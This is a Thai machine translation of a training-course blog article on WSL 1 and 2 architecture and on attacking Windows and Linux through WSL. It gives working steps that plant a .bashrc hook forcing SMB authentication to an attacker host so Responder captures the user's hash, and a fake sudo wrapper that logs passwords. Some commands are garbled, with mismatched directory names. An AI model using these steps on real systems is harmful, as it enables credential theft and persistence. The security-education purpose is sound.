การทดลอง WSL ส่วนที่ 1

สวัสดีฮับ! OTUS เปิดตัวสตรีมหลักสูตรใหม่ในเดือนตุลาคม "ความปลอดภัยของลินุกซ์". เพื่อรอการเริ่มต้นหลักสูตร เรากำลังแบ่งปันบทความที่เขียนโดย Alexander Kolesnikov ครูคนหนึ่งของเรา

การทดลอง WSL ส่วนที่ 1

ในปี 2016 Microsoft ได้เปิดตัวเทคโนโลยี WSL ใหม่ให้กับชุมชนไอที (Windows Sระบบย่อยสำหรับ Linux) ซึ่งในอนาคตทำให้สามารถรวมคู่แข่งที่ไม่สามารถประนีประนอมก่อนหน้านี้ซึ่งต่อสู้เพื่อความนิยมในหมู่ผู้ใช้ระบบปฏิบัติการทั่วไปและขั้นสูง: Windows และ Linux เทคโนโลยีนี้ทำให้สามารถใช้เครื่องมือ Linux OS ในสภาพแวดล้อม Windows ได้โดยไม่จำเป็นต้องใช้ Linux เช่น การใช้มัลติบูต บน Habr คุณจะพบบทความจำนวนมากที่อธิบายประโยชน์ของการใช้ WSL อย่างไรก็ตาม น่าเสียดายที่ในขณะที่สร้างบทความนี้ ไม่พบการศึกษาเกี่ยวกับความปลอดภัยของระบบปฏิบัติการแบบ symbiosis ในแหล่งข้อมูลนี้ โพสต์นี้จะพยายามแก้ไขปัญหานี้ บทความนี้จะพูดถึงคุณสมบัติของสถาปัตยกรรม WSL 1 และ 2 และตรวจสอบตัวอย่างการโจมตีระบบโดยใช้เทคโนโลยีเหล่านี้ บทความนี้แบ่งออกเป็น 2 ส่วน วิธีแรกจะให้วิธีการโจมตีตามทฤษฎีหลักจาก Linux และ Windows บทความที่สองจะเกี่ยวข้องกับการตั้งค่าสภาพแวดล้อมการทดสอบและการจำลองการโจมตี

WSL 1: คุณสมบัติทางสถาปัตยกรรม

เพื่อให้เจาะลึกปัญหาด้านความปลอดภัย WSL ได้อย่างแม่นยำที่สุด จำเป็นต้องพิจารณาความแตกต่างหลักที่เกี่ยวข้องกับการนำระบบย่อยไปใช้ งานหลักอย่างหนึ่งของผู้ใช้ที่แก้ไขโดย WSL คือความสามารถในการทำงานผ่านเทอร์มินัล Linux บนโฮสต์ที่ใช้ Windows OS นอกจากนี้ ความเข้ากันได้ที่มีให้นั้นมีความเป็นธรรมชาติมากจนสามารถเรียกใช้โปรแกรมปฏิบัติการ Linux (ELF) บนระบบ Windows ได้โดยตรง เพื่อให้บรรลุเป้าหมายเหล่านี้ ระบบย่อยพิเศษถูกสร้างขึ้นใน Windows 10 ที่อนุญาตให้คุณเรียกใช้แอปพลิเคชัน Linux โดยใช้ชุดของการเรียกระบบเฉพาะ ดังนั้นจึงมีความพยายามที่จะแมปชุดของ syscalls ของ Linux บน Windows สิ่งนี้ถูกนำไปใช้จริงโดยการเพิ่มไดรเวอร์ใหม่และรูปแบบกระบวนการใหม่ สายตาสถาปัตยกรรมมีลักษณะดังนี้:

การทดลอง WSL ส่วนที่ 1

ในความเป็นจริง การโต้ตอบกับระบบปฏิบัติการ Linux ได้รับการจัดระเบียบผ่านโมดูลเคอร์เนลหลายโมดูลและกระบวนการชนิดพิเศษ - พิโก จากแผนภาพด้านบน คุณจะเห็นว่ากระบวนการที่ทำงานบนอินสแตนซ์ Linux บนโฮสต์ต้องเป็นกระบวนการดั้งเดิมและต้องใช้ทรัพยากรเดียวกันกับแอปพลิเคชัน Windows ทั่วไป แต่จะบรรลุเป้าหมายนี้ได้อย่างไร? ในโครงการ สะพานชัก แนวคิดกระบวนการสำหรับ Windows ได้รับการพัฒนาโดยจัดเตรียมส่วนประกอบที่จำเป็นทั้งหมดของระบบปฏิบัติการ (ขึ้นอยู่กับเวอร์ชัน) เพื่อเรียกใช้แอปพลิเคชันของระบบปฏิบัติการอื่น

โปรดทราบว่าสิ่งที่เป็นนามธรรมที่เสนอทำให้ไม่สามารถมุ่งเน้นไปที่ระบบปฏิบัติการ (โดยเฉพาะ Windows) ซึ่งคาดว่าจะเปิดตัวกระบวนการของระบบปฏิบัติการอื่น และแนะนำแนวทางทั่วไป

ดังนั้นแอปพลิเคชันใด ๆ ภายในกระบวนการ pico สามารถทำงานได้โดยไม่คำนึงถึงเคอร์เนลของ Windows:

  1. ปัญหาความเข้ากันได้และการแปลการโทรของระบบต้องได้รับการแก้ไขโดยผู้ให้บริการพิเศษ
  2. การควบคุมการเข้าถึงต้องทำผ่าน Security Monitor จอภาพอยู่ในเคอร์เนล ดังนั้น Windows จึงจำเป็นต้องอัปเกรดในรูปแบบของไดรเวอร์ใหม่ที่สามารถทำหน้าที่เป็นผู้ให้บริการสำหรับกระบวนการดังกล่าว กระบวนการ Pico ต้นแบบมีการนำเสนอตามแผนผังด้านล่าง:

การทดลอง WSL ส่วนที่ 1

เนื่องจากระบบไฟล์ Linux ใช้ชื่อไฟล์และไดเร็กทอรีที่คำนึงถึงตัวพิมพ์เล็กและตัวพิมพ์ใหญ่ ระบบไฟล์ 2 ประเภทจึงถูกเพิ่มลงใน Windows เพื่อทำงานกับ WSL - VolFS และ DriveFS VolFS คือการนำระบบไฟล์ Linux ไปใช้ DriveFS คือระบบไฟล์ที่ทำงานตามกฎของ Windows แต่มีความสามารถในการเลือกความไวของตัวพิมพ์เล็กและตัวพิมพ์ใหญ่

WSL 2

WSL 1 มีข้อจำกัดหลายประการที่ไม่อนุญาตให้ใช้เพื่อแก้ไขขอบเขตงานสูงสุด: ตัวอย่างเช่น ไม่มีความสามารถในการรันแอปพลิเคชัน Linux 32 บิต และไม่สามารถใช้ไดรเวอร์อุปกรณ์ได้ ดังนั้นในปี 2020 WSL 2 จึงเปิดตัว ซึ่งเปลี่ยนแนวทางการสร้างระบบย่อย WSL 2 เป็นเครื่องเสมือนที่ได้รับการปรับปรุงซึ่งตรงกับลักษณะการใช้ทรัพยากรของ WSL 1 ตอนนี้คุณสามารถเลือกระบบย่อย Linux เวอร์ชันที่ต้องการได้ขึ้นอยู่กับปัญหาที่แก้ไขโดยผู้ใช้ Windows OS เพื่อบรรเทาช่องโหว่ที่อาจเกิดขึ้น WSL 2 จึงถูกนำมาใช้โดยใช้ Hyper-V ใน Windows 10 ในรูปแบบนี้ Windows มีความสามารถในการรันเคอร์เนลของระบบปฏิบัติการ Linux แบบแยกกัน เป็นที่น่าสังเกตว่า WSL เวอร์ชัน 1 ได้รับการแนะนำเป็นคุณลักษณะเบต้าที่ควรจะแสดงทิศทางของการพัฒนา Windows ในด้านนี้ ดังนั้นการเปลี่ยนไปใช้ Hyper-V จึงหลีกเลี่ยงไม่ได้ สถาปัตยกรรมขั้นสุดท้ายมีลักษณะดังนี้:

การทดลอง WSL ส่วนที่ 1

ในเวอร์ชันนี้ เคอร์เนล Windows และ Linux มีทรัพยากรเป็นของตัวเอง และจุดตัดจะมีอยู่ในระบบไฟล์เท่านั้น แต่จุดตัดนี้ยังไม่เสร็จสมบูรณ์ การโต้ตอบระหว่างระบบไฟล์ดำเนินการผ่าน wrapper ไคลเอนต์-เซิร์ฟเวอร์ที่ทำงานโดยใช้โปรโตคอล 9P

วันนี้ Microsoft ให้ความสามารถในการสลับระหว่าง WSL 1 และ WSL 2 ทั้งสองเวอร์ชันพร้อมใช้งานแล้ว

ความปลอดภัยของ WSL

ในขณะนี้ มีงานหลายอย่างที่อธิบายวิธีการใช้เครื่องมือระบบปฏิบัติการที่ถูกต้องตามกฎหมายเพื่อโจมตีการสื่อสารระหว่างระบบย่อย เราจะใช้สคริปต์ของพวกเขาเพื่อตรวจสอบความเกี่ยวข้องของการโจมตีในขณะที่เขียน รายการการโจมตีและสถานการณ์ทั่วไป:

1. การใช้งานระบบไฟล์: สิทธิ์การเข้าถึง ความพร้อมใช้งานของไดเรกทอรีที่ใช้ร่วมกัน/กลไกการแลกเปลี่ยนข้อมูล

การวิจัยได้ดำเนินการเพื่อตรวจสอบการละเมิดกฎการเข้าถึงจาก Linux FS->Windows FS, Windows FS->Linux FS. การวิจัยได้แสดงให้เห็นถึงความสามารถในการแก้ไขไฟล์ที่กำหนดภายในระบบปฏิบัติการเป้าหมาย มีการพยายามที่จะทดแทน สร้างสำเนา และลบส่วนหนึ่งของระบบไฟล์

สถานการณ์:

  • A. การโจมตีจากระบบปฏิบัติการ Windows - การแก้ไขไฟล์จากไดเร็กทอรี /etc ของ Linux OS
  • B. การโจมตีจากระบบปฏิบัติการ Linux - การแก้ไขไฟล์ในไดเร็กทอรี: C:Windows, C:Program Files, C:Users<User>

2. การใช้งานเครือข่ายสแต็ก

การวิจัยดำเนินการโดยใช้ตัวอย่างการโจมตีจากระบบปฏิบัติการ Linux บน Windows มีการใช้คุณสมบัติของสแต็กเครือข่าย กล่าวคือ กลไกการตรวจสอบสิทธิ์บนทรัพยากรต่างๆ

สถานการณ์:

  • การเปิดการเข้าถึงพอร์ตที่อยู่ในระบบ Windows
  • การเปิดพอร์ตโดยไม่มีสิทธิ์ที่เหมาะสม
  • การรันรีเวิร์สเชลล์โดยใช้ไฟล์เอลฟ์บนระบบปฏิบัติการ Windows

3. ซ่อนการเปิดตัวกระบวนการซอฟต์แวร์ที่เป็นอันตรายโดยใช้ระบบย่อย WSL

การวิจัยขึ้นอยู่กับข้อเท็จจริงง่ายๆ - ระบบย่อยความปลอดภัยไม่สามารถสกัดกั้นเหตุการณ์ในเคอร์เนลอื่นที่ทำงานโดยใช้ผู้ให้บริการที่ถูกต้องตามกฎหมายจากระบบปฏิบัติการในกรณีของ WSL 1 ในกรณีของ WSL 2 ไม่มีวิธีดูเหตุการณ์ที่เกิดขึ้น ในเคอร์เนลแยกต่างหากภายในเครื่องเสมือนน้ำหนักเบา

สถานการณ์:

1) เปิดแอปพลิเคชันสำหรับการเข้าถึงระบบจากระยะไกลและดูเหตุการณ์ที่บันทึกไว้

การทดลอง WSL 1: การสกัดกั้นแฮช (Windows)

ในที่สุดเราก็มาถึงส่วนที่ใช้งานได้จริง ขั้นแรก คุณต้องตั้งค่าสภาพแวดล้อมการทดสอบ การทดลองทั้งหมดจะดำเนินการบนม้านั่งที่ติดตั้ง Windows 10 2004 อิมเมจ Ubuntu 18.04 ได้รับเลือกให้เป็นอิมเมจระบบปฏิบัติการสำหรับ WSL รูปภาพถูกเลือกแบบสุ่ม และรูปภาพอื่นๆ จะทำงานเหมือนกัน คำสั่งในการตั้งขาตั้ง:

คุณต้องเปิดตัวก่อน powershell.exe ในฐานะผู้ดูแลระบบ

สำหรับ WSL 1 คุณต้องรันคำสั่ง:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • หลังจากรีบูตขาตั้งแล้ว คุณสามารถเรียกคำสั่ง bash ได้ หากทุกอย่างทำงานอย่างถูกต้อง คุณจะเห็นผลลัพธ์ที่คล้ายกันนี้ในคอนโซล Windows:

    การทดลอง WSL ส่วนที่ 1

    เราจะใช้การกระจาย Kali Linux เป็นเครื่องของผู้โจมตี เครื่องทั้งหมดจะต้องอยู่ในเครือข่ายท้องถิ่นเดียวกัน

    สมมติว่าเรามีสิทธิ์เข้าถึง WSL บนเครื่อง Windows โดยไม่มีสิทธิพิเศษ มาลองโจมตีระบบปฏิบัติการ Linux ด้วยการเรียกคำสั่งจาก Linux ในการใช้การโจมตี เราจะใช้เทคนิคการทำงานอัตโนมัติแบบง่ายๆ - เราจะเพิ่มสคริปต์ของเราสำหรับการดำเนินการในสภาพแวดล้อม Linux ในการทำเช่นนี้คุณจะต้องเปลี่ยนไฟล์ .bashrc.

    บนเครื่องที่มี WSL เราดำเนินการ:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    บนเครื่อง Kali Linux เรารัน:

    1. Responder -I eth0 -rdvw

    บนเครื่อง Windows มาเริ่มทุบตีกัน

    เรากำลังรอผลลัพธ์บนเครื่อง Kali Linux:

    การทดลอง WSL ส่วนที่ 1

    ดังนั้นเราจึงได้รับแฮชของผู้ใช้ Windows ผ่านระบบย่อย WSL โดยดำเนินการคำสั่งบนระบบ Linux

    การทดลอง WSL 1: การรับรหัสผ่านผู้ใช้ (Linux OS)

    เรามาทำการทดลองกันอีกครั้งหนึ่ง ในระหว่างการตรวจสอบนี้ เราจะเพิ่มลงในไฟล์ .bashrc คำสั่งต่างๆ เพื่อรับรหัสผ่านผู้ใช้ระบบปฏิบัติการ Linux

    มาเริ่มทุบตีแล้วป้อนคำสั่ง:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    เพื่อให้การโจมตีสำเร็จ ผู้ใช้ Sam จำเป็นต้องเรียก sudo ในเทอร์มินัล Linux หลังจากนี้รหัสผ่านผู้ใช้ Linux OS จะอยู่ในไฟล์ pass.txt:

    การทดลอง WSL ส่วนที่ 1

    การดำเนินการโจมตีมีไว้เพื่อเป็นข้อมูลทางทฤษฎีเท่านั้น

    ส่วนถัดไปของบทความจะอธิบายการใช้งานโปรโตคอล 9P พิจารณาการสร้างเครื่องสแกนสำหรับโปรโตคอลนี้และทำการโจมตีด้วย

    รายชื่อวรรณกรรมที่ใช้แล้ว

    การทดลอง WSL ส่วนที่ 1

    อ่านเพิ่มเติม

    ที่มา: will.com

    เพิ่มความคิดเห็น